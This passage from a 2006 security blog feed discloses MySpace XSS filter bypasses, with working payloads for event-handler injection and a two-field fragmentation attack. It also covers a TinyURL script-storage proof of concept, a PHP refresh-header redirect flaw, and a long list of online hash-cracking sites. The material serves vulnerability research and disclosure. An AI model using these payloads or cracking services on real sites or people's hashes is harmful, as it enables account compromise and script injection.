= new Function ('getDatacallback(this, ' + len + ', ' + order &lt;br /&gt;&lt;br /&gt;+ ');');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data_iframe.onload = callback;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(data_iframe);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getDatacallback (iframe, len, order) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var temp = iframe.contentDocument.location + '';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data[order] = temp.substring(len);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;loaded++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.removeChild (iframe);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);&lt;br /&gt;&lt;br /&gt;var data = new Array(2);&lt;br /&gt;var loaded = 0;&lt;br /&gt;&lt;br /&gt;getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);&lt;br /&gt;getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);&lt;br /&gt;&lt;br /&gt;function CheckLoaded() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (loaded = 2) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clearInterval (tiny_wait);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var content = document.createElement('textarea');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;content.value = decode64(data.join(''));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;content.cols = 80;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;content.rows = 20;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(content);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var tiny_wait = setInterval('CheckLoaded()',2000);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.&lt;br /&gt;&lt;br /&gt;Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work &lt;i&gt;efficiently&lt;/i&gt; is a task left to the reader, :p&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1411405706227062645?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1411405706227062645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1411405706227062645' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1411405706227062645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1411405706227062645'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/12/using-tinyurl-for-storage-includes-poc.html' title='Using TinyURL For Storage (includes PoC)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4793111349954208134</id><published>2006-12-24T10:44:00.000+11:00</published><updated>2007-03-20T19:23:06.145+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>MySpace Non-Alpha-Non-Digit XSS 0day</title><content type='html'>It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.&lt;br /&gt;&lt;br /&gt;Anyway, here's the exploit:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body onLoadmoz-binding="alert('XSS');"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;As you can see if you run that moz-binding is changed to .., and we are left with the following:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body onLoad..="alert('XSS');"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.&lt;br /&gt;&lt;br /&gt;Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4793111349954208134?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4793111349954208134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4793111349954208134' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4793111349954208134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4793111349954208134'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/12/myspace-non-alpha-non-digit-xss-0day.html' title='MySpace Non-Alpha-Non-Digit XSS 0day'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6779968907646978894</id><published>2006-11-23T18:15:00.000+11:00</published><updated>2006-11-23T18:40:34.818+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Not all redirection scripts are created equal.</title><content type='html'>Now, I'm sure we're all used to redirection scripts by now, and most of us should be aware of the danger of &lt;a href="http://www.securiteam.com/securityreviews/5WP0E2KFGK.html"&gt;HTTP Response Splitting &lt;/a&gt; when allowing user content in the headers we send, and that there is also a patch in PHP since 4.4.2 and 5.1.2 which prevents this by dissalowing multiple lines in a single header call. This patch is not completely bullet proof as articles such as &lt;a href="http://www.securiteam.com/securityreviews/5CP0L0AHPC.html"&gt;HTTP Response Smuggling&lt;/a&gt; illustrate, but sometimes there's an easier way to achieve what you want.&lt;br /&gt;&lt;br /&gt;First of all, what is it that HTTP Response splitting gets most used for anyway? XSS. So any injection that will give us an XSS vector is just as good as any other.&lt;br /&gt;&lt;br /&gt;But like the title says, not all redirection scripts are created equal. The most common approach used to redirect people is somewhat similar to the following:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;header ("Location: ".$_GET['url']);&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which, when the PHP patch is applied, should be perfectly safe when ti comes to preventing XSS.&lt;br /&gt;&lt;br /&gt;But is that the only approach? As some recent auditing I've done has shown me, its not.&lt;br /&gt;&lt;br /&gt;I found something like the following not too long ago:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;header ('refresh: 0; URL="'.$_GET['url'].'"');&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And while it may serve the same needs as the above it, its surprisingly different. But before I explain the exact problem, does the header look familiar to you? It should, its the header that is used in meta tags to redirect users, and if you've done much reading on XSS you should know that meta redirects are another way to execute javascript.&lt;br /&gt;&lt;br /&gt;And unsurprisingly enough, the above header follows the same rules. The refresh header, unlike the location header allows you to redirect users to javascript: or other URLS, depending on what your browsers support, so it should be no trouble at all to simply pass a javascript url to the script and have the user execute the javascript.&lt;br /&gt;&lt;br /&gt;Just goes to show how there is generally more than one way to do something, but going down an untested road will often lead to unforseen problems that have already been solved for other approaches.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6779968907646978894?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6779968907646978894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6779968907646978894' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6779968907646978894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6779968907646978894'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html' title='Not all redirection scripts are created equal.'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5043807176338601262</id><published>2006-11-05T09:56:00.000+11:00</published><updated>2007-03-20T19:24:05.690+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>More MySpace XSS</title><content type='html'>I don't know whether to feel sorry for MySpace, or whether to laugh. The amount of XSS holes in MySpace is nothing short of outstanding.&lt;br /&gt;&lt;br /&gt;And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.&lt;br /&gt;&lt;br /&gt;Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (&lt;b&gt;Note:&lt;/b&gt; This only works on Firefox)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body onLoad_="alert('XSS');"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5043807176338601262?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5043807176338601262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5043807176338601262' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5043807176338601262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5043807176338601262'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/11/more-myspace-xss.html' title='More MySpace XSS'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7413480753106823333</id><published>2006-10-27T22:19:00.000+10:00</published><updated>2006-10-29T16:18:42.801+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Myspace XSS Fragmentation - Again</title><content type='html'>Well, as &lt;a href="http://www.darkreading.com/document.asp?doc_id=108940&amp;WT.svl=news1_6"&gt;Dark Reading reported&lt;/a&gt; I believed that the patch MySpace implemented was near-sighted, and that it was possibly vulnerable to more XSS Fragmentation attacks. And it is.&lt;br /&gt;&lt;br /&gt;(The following rewritten for clarity. 28/20/06 11PM GMT)&lt;br /&gt;===========================&lt;br /&gt;MySpace XSS Vulnerability 0day&lt;br /&gt;Released 28/10/06&lt;br /&gt;by kuza55 of w4ck1ng.com&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;1.0 Introduction&lt;br /&gt;2.0 Analysis&lt;br /&gt;  2.1 MySpace's Fix&lt;br /&gt;  2.2 Other XSS Fragmentation Attacks&lt;br /&gt;3.0 PoC&lt;br /&gt;4.0 Final Notes&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;1.0 Introduction&lt;br /&gt;===========================&lt;br /&gt;The vulnerability explained here is an XSS Fragmentation attack. Breifly, and XSS Fragmentation attack is one which works by placing 2 seperately harmless pieces of HTML into two different input field which are rendered on the same page, which when rendered join to create a dangerous attack vector. More details, along with the previous MySpace attack, can be found here: &lt;a href="http://kuza55.blogspot.com/2006/10/xss-fragmentation-attacks-myspace-0day.html"&gt;XSS Fragmentation Attacks + Myspace 0day&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MySpace found about the vulnerability in the above link and implemented a 'fix', it hasn't held.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;2.0 Analysis&lt;br /&gt;===========================&lt;br /&gt;This section should explain what MySpace did, and why other Fragmentation attacks don't work.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;2.1 MySpace's Fix&lt;br /&gt;===========================&lt;br /&gt;This section assumes you already know about the previous vulnerbaility.&lt;br /&gt;&lt;br /&gt;Anyway, the fix that MySpace implemented altered their event handler stripping code, which previously removed event handlers if they were inside a tag. They changed it so that it also removed all event handlers after a single quote, no matter if it was in a tag or not. And while it addressed the PoC code in my earlier post, they did not implement the recomended fix, and now again find themselves vulnerable.&lt;br /&gt;&lt;br /&gt;The reason this is not enough is because there are considerably more XSS attack vectors than the simple one I used. They range from the simplest (using other encapsulation characters - as this attack does) to using style and other attributes and tags to execute javascript.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;2.2 Other XSS Fragmentation Attacks&lt;br /&gt;===========================&lt;br /&gt;Now, it would have been considerably more interesting to come out with a completely different XSS Fragmentation attack, but sadly that is not possible due to the way MySpace's filter works.&lt;br /&gt;&lt;br /&gt;One of the requirements for being able to execute an XSS Fragmentation attack is that the filter must be stateful (or contextual, or however you want to describe it), in that it will allow things that are malicious under some circumstances to be included if they are judged to be being inserted in safe circumstances.&lt;br /&gt;&lt;br /&gt;The only part of MySpace's filter which does this is the event handler code. All th other vectors which could be used like javascript in image tags, or javascript in URLs for background images, etc, are all filteredout wherever they are. For example if you type "moz-binding" in any input field it is automatically filtered out, the same goes for "expression (", "javascript:", "data:" and several others. In effect this stops XSS Fragmentation attacks in these altogether. And while this seems like its is not a very good solution because it possible for users to need to type those words normally, thats the way its been done, and no-one is complaining.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;3.0 PoC&lt;br /&gt;===========================&lt;br /&gt;This PoC is almost identical to the previous one, except the single quotes (') are changed to grave accents (`). Insert these 2 separate pieces of code into 2 separate input fields: (Note: This only works on IE and Netscape 8.1, because other browsers don't understand grave accents as encapsulation chracters for HTML tag attributes.)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body test=`&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;` onLoad="alert('XSS');"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;4.0 Final Notes&lt;br /&gt;===========================&lt;br /&gt;Well, what can I say? I explained a fix, they didn't use it, they ended up being vulnerbale again, what a surprise.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7413480753106823333?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7413480753106823333/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7413480753106823333' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7413480753106823333'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7413480753106823333'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/10/myspace-xss-fragmentation-again.html' title='Myspace XSS Fragmentation - Again'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-3885737791918214555</id><published>2006-10-22T19:56:00.000+10:00</published><updated>2007-07-20T20:19:48.084+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Online Reverse Lookup Tables For Various Hashing Algorithms</title><content type='html'>Here's a list of the various online reverse-lookup tables I found, they all support md5, but some support other hashes as well (including SHA-1 &amp;amp; NT/LM)&lt;br /&gt;&lt;br /&gt;If you know of any more PLEASE tell me and I'll add them to the list.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; C'mon guys, is it that hard to just leave a comment with the other crackers you know about? I don't moderate comments, you don't need to sign up or anything, just leave a link. I know you guys know of more than this list because I check the referers Google Analytics tells me about, and go to forums and find people linking to others, but no-one has told me of any extra ones.&lt;br /&gt;&lt;br /&gt;Some of them seem to be down atm, but since I'm not sure how long they've been down or if they're coming back I'm posting them anyway.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;md5:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.tmto.org/"&gt;http://www.tmto.org/&lt;/a&gt; (formerly md5lookup.com)&lt;br /&gt;&lt;a href="http://md5.rednoize.com"&gt;http://md5.rednoize.com&lt;/a&gt; (good with words)&lt;br /&gt;&lt;a href="http://nz.md5.crysm.net"&gt;http://nz.md5.crysm.net&lt;/a&gt; (English dictionary, nearly all one to four character alphanumeric.   27.8m records.) - seems to be down atm&lt;br /&gt;&lt;a href="http://us.md5.crysm.net"&gt;http://us.md5.crysm.net&lt;/a&gt; (British, Jargon and American worldlist, IP addresses   16.0m records)&lt;br /&gt;&lt;a href="http://www.xmd5.org"&gt;http://www.xmd5.org&lt;/a&gt; (good with numbers)&lt;br /&gt;&lt;a href="http://gdataonline.com"&gt;http://gdataonline.com&lt;/a&gt; (wordlist based, I think)&lt;br /&gt;&lt;a href="http://www.hashchecker.com"&gt;http://www.hashchecker.com&lt;/a&gt; (It seems to say its good, but I've never gotten many hits form here)&lt;br /&gt;&lt;a href="http://passcracking.ru"&gt;http://passcracking.ru&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.milw0rm.com/md5"&gt;http://www.milw0rm.com/md5&lt;/a&gt;&lt;br /&gt;&lt;a href="http://plain-text.info"&gt;http://plain-text.info&lt;/a&gt; (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)&lt;br /&gt;&lt;a href="http://www.securitystats.com/tools/hashcrack.php"&gt;http://www.securitystats.com/tools/hashcrack.php&lt;/a&gt; (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)&lt;br /&gt;&lt;a href="http://www.schwett.com/md5/"&gt;http://www.schwett.com/md5/&lt;/a&gt; - Does Norwegian words too&lt;br /&gt;&lt;a href="http://passcrack.spb.ru/"&gt;http://passcrack.spb.ru/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://shm.pl/md5/"&gt;http://shm.pl/md5/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.und0it.com/"&gt;http://www.und0it.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.neeao.com/md5/"&gt;http://www.neeao.com/md5/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.benramsey.com/"&gt;http://md5.benramsey.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5decrypt.com/"&gt;http://www.md5decrypt.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.khrone.pl/"&gt;http://md5.khrone.pl/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.csthis.com/md5/index.php"&gt;http://www.csthis.com/md5/index.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5decrypter.com/"&gt;http://www.md5decrypter.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5encryption.com/"&gt;http://www.md5encryption.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5database.net/"&gt;http://www.md5database.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.xpzone.de/"&gt;http://md5.xpzone.de/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.geeks.li/"&gt;http://md5.geeks.li/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.hashreverse.com/"&gt;http://www.hashreverse.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cmd5.com/english.aspx"&gt;http://www.cmd5.com/english.aspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5.altervista.org/"&gt;http://www.md5.altervista.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.overclock.ch/biz/index.php?p=md5crack&amp;amp;l=en"&gt;http://md5.overclock.ch/biz/index.php?p=md5crack&amp;amp;l=en&lt;/a&gt;&lt;br /&gt;&lt;a href="http://alimamed.pp.ru/md5/"&gt;http://alimamed.pp.ru/md5/&lt;/a&gt; (for those who can't read russian: put your md5 in the second box)&lt;br /&gt;&lt;a href="http://md5crack.it-helpnet.de/index.php?op=add"&gt;http://md5crack.it-helpnet.de/index.php?op=add&lt;/a&gt; (German, I have no idea....)&lt;br /&gt;&lt;a href="http://cijfer.hua.fi/"&gt;http://cijfer.hua.fi/&lt;/a&gt; (Projects-&amp;gt;md5 reverse lookup)&lt;br /&gt;&lt;a href="http://shm.hard-core.pl/md5/"&gt;http://shm.hard-core.pl/md5/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mmkey.com/md5/HOME.ASP"&gt;http://www.mmkey.com/md5/HOME.ASP&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.thepanicroom.org/index.php?view=cracker"&gt;http://www.thepanicroom.org/index.php?view=cracker&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rainbowtables.net/services/results.php"&gt;http://rainbowtables.net/services/results.php&lt;/a&gt; (I'm not sure i'd trust this site to give more than a tiny amount of results)&lt;br /&gt;&lt;a href="http://rainbowcrack.com/"&gt;http://rainbowcrack.com/&lt;/a&gt; (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)&lt;br /&gt;&lt;a href="http://www.securitydb.org/cracker/"&gt;http://www.securitydb.org/cracker/&lt;/a&gt; &lt;br /&gt;&lt;a href="http://passwordsecuritycenter.com/index.php?main_page=product_info&amp;cPath=3&amp;products_id=7"&gt;http://passwordsecuritycenter.com/index.php?main_page=product_info&amp;cPath=3&amp;products_id=7&lt;/a&gt; (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)&lt;br /&gt;&lt;a href="http://0ptix.co.nr/md5"&gt;http://0ptix.co.nr/md5&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.astalavista.net/?cmd=rainbowtables"&gt;https://www.astalavista.net/?cmd=rainbowtables&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ice.breaker.free.fr/"&gt;http://ice.breaker.free.fr/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.md5this.com"&gt;http://www.md5this.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pldsecurity.de/forum/md5.php"&gt;http://www.pldsecurity.de/forum/md5.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xeons.net/genesis/"&gt;http://www.xeons.net/genesis/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://hackerscity.free.fr/"&gt;http://hackerscity.free.fr/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bisix.cogia.net/"&gt;http://bisix.cogia.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.allfact.info/"&gt;http://md5.allfact.info/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bokehman.com/cracker/"&gt;http://bokehman.com/cracker/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.tydal.nu/article/md5-crack/"&gt;http://www.tydal.nu/article/md5-crack/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ivdb.org/search/md5/"&gt;http://ivdb.org/search/md5/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.netsons.org/"&gt;http://md5.netsons.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.c.la/"&gt;http://md5.c.la/&lt;/a&gt; (The form at the bottom left of the page)&lt;br /&gt;&lt;a href="http://www.jock-security.com/md5_database/?page=crack"&gt;http://www.jock-security.com/md5_database/?page=crack&lt;/a&gt;&lt;br /&gt;&lt;a href="http://c4p-sl0ck.dyndns.org/cracker.php"&gt;http://c4p-sl0ck.dyndns.org/cracker.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blackfiresecurity.com/tools/md5lib.php"&gt;http://www.blackfiresecurity.com/tools/md5lib.php&lt;/a&gt; (Queries the MD5 Library AIM Bot)&lt;br /&gt;&lt;a href="http://www.md5-db.com/index.php"&gt;http://www.md5-db.com/index.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.kevlardisk.org/"&gt;http://www.kevlardisk.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5.idiobase.de/"&gt;http://md5.idiobase.de/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://md5search.deerme.org/"&gt;http://md5search.deerme.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://sha1search.com/"&gt;http://sha1search.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;lm Only:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/"&gt;http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/&lt;/a&gt; (Currently Offline)&lt;br /&gt;&lt;a href="http://www.milw0rm.com/lm"&gt;http://www.milw0rm.com/lm&lt;/a&gt; (Currently Offline)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;lm + ntlm:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://plain-text.info"&gt;http://plain-text.info&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securitystats.com/tools/hashcrack.php"&gt;http://www.securitystats.com/tools/hashcrack.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rainbowtables.net/services/results.php"&gt;http://rainbowtables.net/services/results.php&lt;/a&gt; &lt;br /&gt;&lt;a href="http://rainbowcrack.com/"&gt;http://rainbowcrack.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://passwordsecuritycenter.com/index.php?main_page=product_info&amp;cPath=3&amp;products_id=7"&gt;http://passwordsecuritycenter.com/index.php?main_page=product_info&amp;cPath=3&amp;products_id=7&lt;/a&gt; &lt;br /&gt;&lt;a href="https://www.astalavista.net/?cmd=rainbowtables"&gt;https://www.astalavista.net/?cmd=rainbowtables&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;md4:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.securitystats.com/tools/hashcrack.php"&gt;http://www.securitystats.com/tools/hashcrack.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rainbowtables.net/services/results.php"&gt;http://rainbowtables.net/services/results.php&lt;/a&gt; &lt;br /&gt;&lt;a href="http://rainbowcrack.com/"&gt;http://rainbowcrack.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;sha1:&lt;/b&gt;&lt;br /&gt;&lt;a 